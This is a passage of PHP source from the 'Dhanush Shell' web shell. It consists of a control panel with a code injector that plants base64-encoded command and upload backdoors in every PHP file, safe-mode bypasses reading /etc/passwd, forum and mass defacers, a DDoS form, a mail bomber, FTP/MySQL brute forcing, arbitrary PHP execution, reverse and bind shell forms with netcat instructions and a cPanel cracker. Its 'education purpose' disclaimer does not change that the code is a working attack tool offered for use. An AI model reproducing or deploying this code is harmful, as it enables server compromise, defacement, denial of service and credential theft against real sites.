  4706. <td colspan="2">
  4707. <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!! Patch your site.....</textarea>
  4708. </td>
  4709. </tr>
  4710.  
  4711.  
  4712. <tr>
  4713. <td rowspan="2">
  4714. <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('massmailing',to.value,subject.value,message.value,from.value)" class="but" value=" Send! "/>
  4715. </td>
  4716. </tr>
  4717. </table>
  4718. </form></div>
  4719. <?php
  4720. }
  4721. // Get Domains
  4722. else if(isset($_REQUEST["symlinkserver"]))
  4723. {
  4724. ?>
  4725. <center><table><tr>
  4726. <td><a href=javascript:void(0) onClick="getdata('symlink')"><font class=txt><b>| Symlink Server |</b></font></a></td>
  4727. <td><a href=javascript:void(0) onClick="getdata('symlinkfile')"><font class=txt><b>| Symlink File |</b></font></a></td>
  4728. <td><a href=javascript:void(0) onClick="getdata('script')"><font class=txt><b>| Script Locator |</b></font></a></td>
  4729. </tr></table></center><br>
  4730. <div id="showdata"></div><?php
  4731. }
  4732. // Forum Manager
  4733. else if(isset($_REQUEST["forum"]))
  4734. { ?>
  4735. <center><table><tr><td><a href=# onClick="getdata('defaceforum')"><font class=txt size="4">| Forum Defacer |</font></a></td>
  4736. <td><a href=# onClick="getdata('passwordchange')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
  4737. <td><a href=# onClick="getdata('massdeface')"><font class=txt size="4">| Mass Defacer |</font></a></td>
  4738. </tr></table></center><br><div id="showdata"></div>
  4739. <?php
  4740. }
  4741. // Sec info
  4742. else if(isset($_GET['secinfo']))
  4743. { ?><div id=showdata></div>
  4744. <center><div id="showmydata"></div>
  4745. </center>
  4746. <br><center><font size=5>Server security information</font><br><br></center>
  4747. <table class="btmtbl" style="width:100%;" border="1">
  4748. <tr>
  4749. <td style="width:7%;">Curl</td>
  4750. <td style="width:7%;">Oracle</td>
  4751. <td style="width:7%;">MySQL</td>
  4752. <td style="width:7%;">MSSQL</td>
  4753. <td style="width:7%;">PostgreSQL</td>
  4754. <td style="width:12%;">Open Base Directory</td>
  4755. <td style="width:10%;">Safe_Exec_Dir</td>
  4756. <td style="width:7%;">PHP Version</td>
  4757. <td style="width:7%;">Magic Quotes</td>
  4758. <td style="width:7%;">Server Admin</td>
  4759. </tr>
  4760. <tr>
  4761. <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
  4762. <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
  4763. <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
  4764. <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
  4765. <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
  4766. <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
  4767. <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font >NONE</font></b>";}else {echo "<font class='txt'>$df</font></b>";};} ?></font></td>
  4768. <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
  4769. <td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
  4770. <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
  4771. </tr>
  4772. </table><br> <?php
  4773. mysecinfo();
  4774. }
  4775. // Code Injector
  4776.  
  4777. else if(isset($_GET['injector']))
  4778. {
  4779. if($os != "Windows")
  4780. $injectcode = "PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+";
  4781. else
  4782. {
  4783. $injectcode = "PD9waHAgJHBhc3N3cmQgPSA8PDxFT0QKNjJhYTZhOWE1ZGEwMDAxNDI4MGZlODU2YzI3MzhiMDYKRU9EOwokZGhwYXNzd2QgPSA8PDxFT0QKZGhwYXNzd2QKRU9EOwokdXBsb2FkZWQgPSA8PDxFT0QKdXBsb2FkZWQKRU9EOwokbmFtZSA9IDw8PEVPRApuYW1lCkVPRDsKJHRtcF9uYW1lID0gPDw8RU9ECnRtcF9uYW1lCkVPRDsKaWYgKGlzc2V0ICgkX0dFVFskZGhwYXNzd2RdKSBhbmQgbWQ1KCRfR0VUWyRkaHBhc3N3ZF0pPT0kcGFzc3dyZCkKez8+PGZvcm0gZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhIG1ldGhvZD1QT1NUIGFjdGlvbj0+dXBsb2FkOiA8aW5wdXQgbmFtZT11cGxvYWRlZCB0eXBlPWZpbGUgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkIC8+PC9mb3JtPgo8P3BocCAKaWYoaXNzZXQoJF9GSUxFU1skdXBsb2FkZWRdWyRuYW1lXSkpCnsKJHVwbG9hZGVkID0gPDw8RU9ECnVwbG9hZGVkCkVPRDsKJHRhcmdldF9wYXRoID0gPDw8RU9ECi4vCkVPRDsKJHRhcmdldF9wYXRoID0gJHRhcmdldF9wYXRoIC4gYmFzZW5hbWUoICRfRklMRVNbJHVwbG9hZGVkXVskbmFtZV0pOwppZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1skdXBsb2FkZWRdWyR0bXBfbmFtZV0sICR0YXJnZXRfcGF0aCkpIHtlY2hvICR1cGxvYWRlZDt9fX0KPz4=";
  4784. }
  4785. ?>
  4786. <form method='POST'>
  4787. <table id="margins">
  4788. <tr>
  4789. <td width="100" class="title">
  4790. Directory
  4791. </td>
  4792. <td>
  4793. <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
  4794. </td>
  4795.  
  4796. </tr>
  4797. <tr>
  4798. <td class="title">
  4799. Mode
  4800. </td>
  4801. <td>
  4802. <select style="width: 400px;" name="mode" class="box">
  4803. <option value="Apender">Apender</option>
  4804. <option value="Overwriter">Overwriter</option>
  4805. </select>
  4806. </td>
  4807. </tr>
  4808. <tr>
  4809. <td class="title">
  4810. File Type
  4811. </td>
  4812. <td>
  4813. <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
  4814. </td>
  4815. </tr>
  4816. <tr>
  4817. <td>Create A backdoor by injecting this code in every php file of current directory</td>
  4818. </tr>
  4819.  
  4820. <tr>
  4821. <td colspan="2"><?php if($os == "Windows")echo "<i>Default Password is : <b>Dhanush</b> (change to yours using MD5)</i> Example : .php?dhpasswd=Dhanush"; ?><BR>
  4822. <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode($injectcode); ?></textarea>
  4823. </td>
  4824. </tr>
  4825. <tr>
  4826. <td rowspan="2">
  4827. <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
  4828. </td>
  4829. </tr>
  4830. </form>
  4831. </table><div id="showinject"</div>
  4832. <?php
  4833. }
  4834. // Bypass
  4835. else if(isset($_GET["bypass"]))
  4836. {
  4837. ?><center><div id="showmydata"></div></center>
  4838. <table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;border-collapse:collapse;">
  4839. <tr>
  4840. <td align="center" colspan="2"><font size="3">Safe mode bypass</font></td>
  4841. </tr>
  4842. <tr>
  4843. <td align="center">
  4844. <p>Using copy() function</p>
  4845. <form onSubmit="bypassfun('copy',copy.value);return false;">
  4846. <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('copy',copy.value)" value="bypass" class="but">
  4847. </form>
  4848. </td>
  4849. <td align="center">
  4850. <p>Using File contents function</p>
  4851. <form onSubmit="bypassfun('filecontents',filecontents.value);return false;">
  4852. <input type="text" name="filecontents" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('filecontents',filecontents.value)" value="bypass" class="but">
  4853. </form>
  4854. </td>
  4855. </tr>
  4856.  
  4857. <tr>
  4858. <td align="center">
  4859. <p>Using Stream contents function</p>
  4860. <form onSubmit="bypassfun('stream',stream.value);return false;">
  4861. <input type="text" name="stream" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('stream',stream.value)" value="bypass" class="but">
  4862. </form>
  4863. </td>
  4864. <td align="center">
  4865. <p>Using Curl() function</p>
  4866. <form onSubmit="bypassfun('curl',curl.value);return false;">
  4867. <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('curl',curl.value)" value="bypass" class="but">
  4868. </form>
  4869. </td>
  4870. </tr>
  4871.  
  4872. <tr>
  4873. <td align="center">
  4874. <p>Bypass using include()</p>
  4875. <form onSubmit="bypassfun('include',include.value);return false;">
  4876. <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('include',include.value)" value="bypass" class="but">
  4877. </form>
  4878. </td>
  4879. <td align="center">
  4880. <p>Using id() function</p>
  4881. <form onSubmit="bypassfun('id',id.value);return false;">
  4882. <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('id',id.value)" value="bypass" class="but">
  4883. </form>
  4884. </td>
  4885. </tr>
  4886.  
  4887. <tr>
  4888. <td align="center">
  4889. <p>Using tempnam() function</p>
  4890. <form onSubmit="bypassfun('tempnam',tempname.value);return false;">
  4891. <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('tempnam',tempname.value)" value="bypass" class="but">
  4892. </form>
  4893. </td>
  4894. <td align="center">
  4895. <p>Using symlink() function</p>
  4896. <form onSubmit="bypassfun('symlnk',sym.value);return false;">
  4897. <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('symlnk',sym.value)" value="bypass" class="but">
  4898. </form>
  4899. </td>
  4900. </tr>
  4901. <tr>
  4902. <td colspan=2 align="center">
  4903. <p>Using Bypass function</p>
  4904. <form onSubmit="bypassfun('newtype',newtype.value,optiontype.value);return false;">
  4905. <input type="text" name="newtype" value="/etc/passwd" class="sbox">
  4906. <select id="optiontype" class=sbox>
  4907. <option value="tac">tac</option>
  4908. <option value="more">more</option>
  4909. <option value="less">less</option>
  4910. <option value="rev">rev</option>
  4911. <option value="xxd">xxd</option>
  4912. <option value="awk">awk</option>
  4913. </select>
  4914. <input type="button" OnClick="bypassfun('newtype',newtype.value,optiontype.value)" value="bypass" class="but">
  4915. </form>
  4916. </td>
  4917. </tr>
  4918. </table>
  4919. </form>
  4920. <?php
  4921. }
  4922. //fuzzer
  4923. else if(isset($_GET['fuzz']))
  4924. {
  4925. ?>
  4926. <form method="GET">
  4927. <table id="margins">
  4928. <tr>
  4929. <td width="400" class="title">
  4930. IP
  4931. </td>
  4932. <td>
  4933. <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4934. </td>
  4935. </tr>
  4936.  
  4937. <tr>
  4938. <td class="title">
  4939. Port
  4940. </td>
  4941. <td>
  4942. <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  4943. </td>
  4944. </tr>
  4945.  
  4946. <tr>
  4947. <td class="title">
  4948. Timeout
  4949. </td>
  4950. <td>
  4951. <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
  4952. </td>
  4953. </tr>
  4954.  
  4955.  
  4956. <tr>
  4957. <td class="title">
  4958. No of times
  4959. </td>
  4960. <td>
  4961. <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
  4962. </td>
  4963. </tr>
  4964.  
  4965. <tr>
  4966. <td class="title">
  4967. Message (The message Should be long and it will be multiplied with the value after it)
  4968. </td>
  4969. <td>
  4970. <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
  4971. </td>
  4972. <td>
  4973. x
  4974. </td>
  4975. <td width="20">
  4976. <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
  4977. </td>
  4978. </tr>
  4979.  
  4980. <tr>
  4981. <td rowspan="2">
  4982. <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value=" Submit "/>
  4983. </td>
  4984. </tr>
  4985. </table>
  4986. </form><div id="showdos"></div>
  4987. <?php
  4988. }
  4989. // Zone-h Poster
  4990. else if(isset($_GET["zone"]))
  4991. {
  4992. if(!function_exists('curl_version'))
  4993. {
  4994. echo "<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>";
  4995. }
  4996. ?>
  4997. <center><font size="4">Zone-h Poster</font></center>
  4998. <form action="<?php echo $self; ?>" method="post">
  4999. <table align="center" cellpadding="5" border="0">
  5000. <tr>
  5001. <td>
  5002. <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
  5003. <tr><td>
  5004. <select name="hackmode" class="box">
  5005. <option >--------SELECT--------</option>
  5006. <option value="1">known vulnerability (i.e. unpatched system)</option>
  5007. <option value="2" >undisclosed (new) vulnerability</option>
  5008. <option value="3" >configuration / admin. mistake</option>
  5009. <option value="4" >brute force attack</option>
  5010. <option value="5" >social engineering</option>
  5011. <option value="6" >Web Server intrusion</option>
  5012. <option value="7" >Web Server external module intrusion</option>
  5013. <option value="8" >Mail Server intrusion</option>
  5014. <option value="9" >FTP Server intrusion</option>
  5015. <option value="10" >SSH Server intrusion</option>
  5016. <option value="11" >Telnet Server intrusion</option>
  5017. <option value="12" >RPC Server intrusion</option>
  5018. <option value="13" >Shares misconfiguration</option>
  5019. <option value="14" >Other Server intrusion</option>
  5020. <option value="15" >SQL Injection</option>
  5021. <option value="16" >URL Poisoning</option>
  5022. <option value="17" >File Inclusion</option>
  5023. <option value="18" >Other Web Application bug</option>
  5024. <option value="19" >Remote administrative panel access bruteforcing</option>
  5025. <option value="20" >Remote administrative panel access password guessing</option>
  5026. <option value="21" >Remote administrative panel access social engineering</option>
  5027. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  5028. <option value="23" >Access credentials through Man In the Middle attack</option>
  5029. <option value="24" >Remote service password guessing</option>
  5030. <option value="25" >Remote service password bruteforce</option>
  5031. <option value="26" >Rerouting after attacking the Firewall</option>
  5032. <option value="27" >Rerouting after attacking the Router</option>
  5033. <option value="28" >DNS attack through social engineering</option>
  5034. <option value="29" >DNS attack through cache poisoning</option>
  5035. <option value="30" >Not available</option>
  5036. </select>
  5037. </td></tr>
  5038. <tr><td>
  5039. <select name="reason" class="box">
  5040. <option >--------SELECT--------</option>
  5041. <option value="1" >Heh...just for fun!</option>
  5042. <option value="2" >Revenge against that website</option>
  5043. <option value="3" >Political reasons</option>
  5044. <option value="4" >As a challenge</option>
  5045. <option value="5" >I just want to be the best defacer</option>
  5046. <option value="6" >Patriotism</option>
  5047. <option value="7" >Not available</option>
  5048. </select></td></tr>
  5049. <tr><td>
  5050. <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
  5051. <tr><td>
  5052. <input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
  5053. </form><div id="showzone"></div>
  5054. <?php }
  5055. //DDos
  5056. else if(isset($_GET['dos']))
  5057. {
  5058. ?>
  5059. <form method="GET">
  5060. <table id="margins">
  5061. <tr>
  5062. <td width="400" class="title">
  5063. IP
  5064. </td>
  5065. <td>
  5066. <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  5067. </td>
  5068. </tr>
  5069.  
  5070. <tr>
  5071. <td class="title">
  5072. Port
  5073. </td>
  5074. <td>
  5075. <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  5076. </td>
  5077. </tr>
  5078.  
  5079. <tr>
  5080. <td class="title">
  5081. Timeout <font >(Time in seconds)</font>
  5082. </td>
  5083. <td>
  5084. <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
  5085. </td>
  5086. </tr>
  5087. <tr>
  5088. <td class="title">
  5089. Execution Time <font >(Time in seconds)</font>
  5090. </td>
  5091. <td>
  5092. <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
  5093. </td>
  5094. </tr>
  5095. <tr>
  5096. <td class="title">
  5097. No of Bytes per/packet
  5098. </td>
  5099. <td>
  5100. <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
  5101. </td>
  5102. </tr>
  5103. <tr>
  5104. <td rowspan="2">
  5105. <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')" class="but" value=" Attack >> "/>
  5106. </td>
  5107. </tr>
  5108. </table>
  5109. </form><div id="showdos"></div>
  5110. <?php
  5111. }
  5112. else if(isset($_GET['mailbomb']))
  5113. { ?>
  5114. <center><table><tr><td><a href=javascript:void(0) onClick="getdata('bomb')"><font class=txt size="4">| Mail Bomber |</font></a></td>
  5115. <td><a href=javascript:void(0) onClick="getdata('mail')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
  5116. <?php
  5117. }
  5118. else if(isset($_GET['tools']))
  5119. {
  5120. ?>
  5121. <center><br><form onSubmit="getport(host.value,protocol.value);return false;">
  5122. <table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
  5123. <tr>
  5124. <td colspan="2" align="center"><b><font size='4'>Port Scanner<br></font></b></td>
  5125. </tr>
  5126. <tr>
  5127. <td align="center">
  5128. <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
  5129. </td>
  5130. <td align="center">
  5131. <select class="sbox" name='protocol'>
  5132. <option value='tcp'>tcp</option>
  5133. <option value='udp'>udp</option>
  5134. </select>
  5135. </td>
  5136. <tr>
  5137. <td colspan="2" align="center"><input class="but" type='button' onClick="getport(host.value,protocol.value)" value='Scan Ports'></td>
  5138. </tr>
  5139. </form>
  5140. <tr><td colspan=2><div id="showports"></div>
  5141. </td></tr></table>
  5142.  
  5143. <br>
  5144. <form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
  5145. <table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
  5146. <tr>
  5147. <td colspan="2" align="center"><font size="4">BruteForce</font></td>
  5148. </tr>
  5149. <tr>
  5150. <td>Type : </td>
  5151. <td>
  5152. <select name="prototype" class="sbox">
  5153. <option value="ftp">FTP</option>
  5154. <option value="mysql">MYSQL</option>
  5155. <option value="postgresql">PostgreSql</option>
  5156. </select>
  5157. </td>
  5158. </tr>
  5159. <tr>
  5160. <td>Server <b>:</b> Port : </td>
  5161. <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
  5162. </tr>
  5163. <tr>
  5164. <td valign="middle">Brute type : </td>
  5165. <td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
  5166. <label><input type=radio name=mytype value="2"> Dictionary</label><br>
  5167. Login : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="login" value="root" class="sbox"><br>
  5168. Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
  5169. </td>
  5170. </tr>
  5171. <tr>
  5172. <td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
  5173. </tr>
  5174. </form><tr><td colspan="2" id="showbrute"></td></tr>
  5175. </table>
  5176. </center><br>
  5177. <?php
  5178. }
  5179. else if (isset($_GET["phpc"]))
  5180. {
  5181. ?>
  5182. <div id="showresult"></div>
  5183. <form name="frm">
  5184. <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
  5185. <br /><br />
  5186. <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
  5187. <label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
  5188. </form>
  5189. <?php
  5190. }
  5191. else if(isset($_GET["exploit"]))
  5192. {
  5193. if(!isset($_GET["rootexploit"]))
  5194. {
  5195. ?>
  5196. <center>
  5197. <form action="<?php echo $self; ?>" method="get" target="_blank">
  5198. <input type="hidden" name="exploit">
  5199. <table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
  5200. <tr>
  5201. <td style="height:60px;">
  5202. <font size="4" class=txt>Select Website</font></td><td>
  5203. <p><select id="rootexploit" name="rootexploit" class="box">
  5204. <option value="exploit-db">Exploit-db</option>
  5205. <option value="packetstormsecurity">Packetstormsecurity</option>
  5206. <option value="exploitsearch">Exploitsearch</option>
  5207. <option value="shodanhq">Shodanhq</option>
  5208. </select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
  5209. <input type="submit" value="Search" class="but"></td></tr></table>
  5210. </form></center><br>
  5211.  
  5212. <?php
  5213. }
  5214. else
  5215. {
  5216. //exploit search
  5217. $Lversion = php_uname(r);
  5218. $OSV = php_uname(s);
  5219. if(eregi('Linux',$OSV))
  5220. {
  5221. $Lversion=substr($Lversion,0,6);
  5222. if($_GET['rootexploit'] == "exploit-db")
  5223. {
  5224. header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$Lversion&filter_exploit_text=&filter_author=&filter_platform=16&filter_type=2&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=");
  5225. }
  5226. else if($_GET['rootexploit'] == "packetstormsecurity")
  5227. {
  5228. header("Location:http://www.packetstormsecurity.org/search/?q=Linux+Kernel+$Lversion");
  5229. }
  5230. else if($_GET['rootexploit'] == "exploitsearch")
  5231. {
  5232. header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
  5233. }
  5234. else if($_GET['rootexploit'] == "shodanhq")
  5235. {
  5236. header("Location:https://exploits.shodan.io/?q=$Lversion+platform:\"linux\"");
  5237. }
  5238. }
  5239. else
  5240. {
  5241. $Lversion=substr($Lversion,0,3);
  5242. if($_GET['rootexploit'] == "exploit-db")
  5243. {
  5244. header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV&filter_exploit_text=&filter_author=&filter_platform=16&filter_type=2&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=");
  5245. }
  5246. else if($_GET['rootexploit'] == "packetstormsecurity")
  5247. {
  5248. header("Location:http://www.packetstormsecurity.org/search/?q=$OSV+Lversion");
  5249. }
  5250. else if($_GET['rootexploit'] == "exploitsearch")
  5251. {
  5252. header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
  5253. }
  5254. else if($_GET['rootexploit'] == "shodanhq")
  5255. {
  5256. header("Location:https://exploits.shodan.io/?q=$OSV+platform:\"windows\"");
  5257. }
  5258. }
  5259. //End of Exploit search
  5260. }
  5261. }
  5262. // Connect
  5263. else if(isset($_REQUEST['connect']))
  5264. {
  5265. ?>
  5266. <form action='<?php echo $self; ?>' method='POST' >
  5267. <table style="width:50%" align="center" >
  5268. <tr>
  5269. <th colspan="1" width="50px">Reverse Shell</th>
  5270. <th colspan="1" width="50px">Bind Shell</th>
  5271. </tr>
  5272. <tr>
  5273. <td>
  5274. <table style="border-spacing: 6px;">
  5275. <tr>
  5276. <td>IP </td>
  5277. <td>
  5278. <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
  5279. </td>
  5280. </tr>
  5281. <tr>
  5282. <td>Port </td>
  5283. <td><input style="width: 200px;" class="box" name="port" size='5' value="9891"/></td>
  5284. </tr>
  5285. <tr>
  5286. <td style="vertical-align:top;">Use:</td>
  5287. <td><select style="width: 95px;" name="lang" class="sbox">
  5288. <option value="perl">Perl</option>
  5289. <option value="python">Python</option>
  5290. <option value="php">PHP</option>
  5291. </select>&nbsp;&nbsp;
  5292. <input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
  5293. </tr>
  5294. </table> </form>
  5295. </td>
  5296.  
  5297. <td style="vertical-align:top;">
  5298. <form method='post' >
  5299. <table style="border-spacing: 6px;">
  5300. <tr>
  5301. <td>Port</td>
  5302. <td>
  5303. <input style="width: 200px;" class="box" name="port" value="9891" />
  5304. </td>
  5305. </tr>
  5306. <tr>
  5307. <td>Password </td>
  5308. <td>
  5309. <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
  5310. </td>
  5311. <tr>
  5312. <td>Using</td>
  5313. <td>
  5314. <select style="width: 95px;" name="lang" id="lang" class="sbox">
  5315. <option value="perl">Perl</option>
  5316. <option value="c">C</option>
  5317. </select>&nbsp;&nbsp;
  5318. <input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
  5319. </tr>
  5320. </table>
  5321. </td>
  5322. </form>
  5323. </tr>
  5324. <tr><td colspan=2>Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command 'nc <?php yourip(); ?> 9891"!</td></tr>
  5325. </table>
  5326.  
  5327. <?php
  5328. }
  5329. else if(isset($_REQUEST['subdomain']))
  5330. {
  5331. ?>
  5332. <center><form>
  5333. <table>
  5334. <tr>
  5335. <td>Cpanel user : </td>
  5336. <td><input type="text" name="cpaneluser" value="<?php echo get_current_user(); ?>" class="box" /></td>
  5337. </tr>
  5338. <tr>
  5339. <td>Cpanel password : </td>
  5340. <td><input type="password" name="cpanelpass" class="box" /></td>
  5341. </tr>
  5342. <tr>
  5343. <td>Number of Subdomain : </td>
  5344. <td><input type="text" name="noofsubdomain" class="box" value="10" /></td>
  5345. </tr>
  5346. <tr>
  5347. <td valign="top">Index : </td>
  5348. <td><textarea rows="7" cols="54" name="subindex" class="box">You just got Hacked</textarea></td>
  5349. </tr>
  5350. <tr>
  5351. <td></td>
  5352. <td><input type="button" value=" go " class="but" onClick="createsubdomain(cpaneluser.value,cpanelpass.value,noofsubdomain.value,subindex.value)" /></td>
  5353. </tr>
  5354. </table></center></form><br>
  5355. <div id="showmydata"></div>
  5356. <?php
  5357. }
  5358. else if(isset($_REQUEST['404']))
  5359. {
  5360. ?>
  5361. <center><table><tr><td><a href=javascript:void(0) onClick="getdata('404new')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
  5362. <td><a href=javascript:void(0) onClick="getdata('404page')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
  5363. </tr></table></center><br>
  5364. <div id="showdata"></div>
  5365. <?php
  5366. }
  5367. else if(isset($_GET['about']))
  5368. { ?>
  5369. <center>
  5370. <p><font size=6><u>D h a n u s h</u></font><br>
  5371. <font size=5>[--==Coded By Arjun==--]</font>
  5372. <div style='font-family: Courier New; font-size: 10px;'><font class=om><pre>
  5373.  
  5374. - -- -
  5375. -- -- --
  5376. -- --
  5377. --- ---
  5378. ------
  5379. ----
  5380. ----
  5381. ------
  5382. -------
  5383. --- --
  5384. -- ---
  5385. -- -----
  5386. --- --- ---
  5387. --- --- ---
  5388. -- --------- --
  5389. -- ------- --
  5390. -- ---- --
  5391. -- --- --
  5392. -- -- --
  5393. --- --- -- ---
  5394. ------ ------
  5395. ---- ----
  5396.  
  5397.  
  5398. </pre></font></div></center>
  5399. <font class="om">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server. The developer of the script is not responsible for any damage or misuse of it.</font><br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| &#2332;&#2351; &#2350;&#2361;&#2366;&#2325;&#2366;&#2354; | | &#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342; |</font></center><br>
  5400. <?php }
  5401. else if(isset($_GET['database']))
  5402. { ?>
  5403. <form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
  5404. <table id="datatable" style="width:90%;" cellpadding="4" align="center">
  5405. <tr>
  5406. <td colspan="2">Connect To Database</td>
  5407. </tr>
  5408. <tr>
  5409. <td>Server Address :</td>
  5410. <td><input type="text" class="box" name="server" value="localhost"></td>
  5411. </tr>
  5412. <tr>
  5413. <td>Username :</td>
  5414. <td><input type="text" class="box" name="username" value="root"></td>
  5415. </tr>
  5416. <tr>
  5417. <td>Password:</td>
  5418. <td><input type="text" class="box" name="password" value=""></td>
  5419. </tr>
  5420.  
  5421. <tr>
  5422. <td></td>
  5423. <td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value=" Connect " name="executeit" class="but"></td>
  5424. </tr>
  5425. </table>
  5426. </form>
  5427. <div id="showsql"></div>
  5428. <?php
  5429. }
  5430. // Cpanel Cracker
  5431. else if(isset($_REQUEST['cpanel']))
  5432. {
  5433. $cpanel_port="2082";
  5434. $connect_timeout=5;
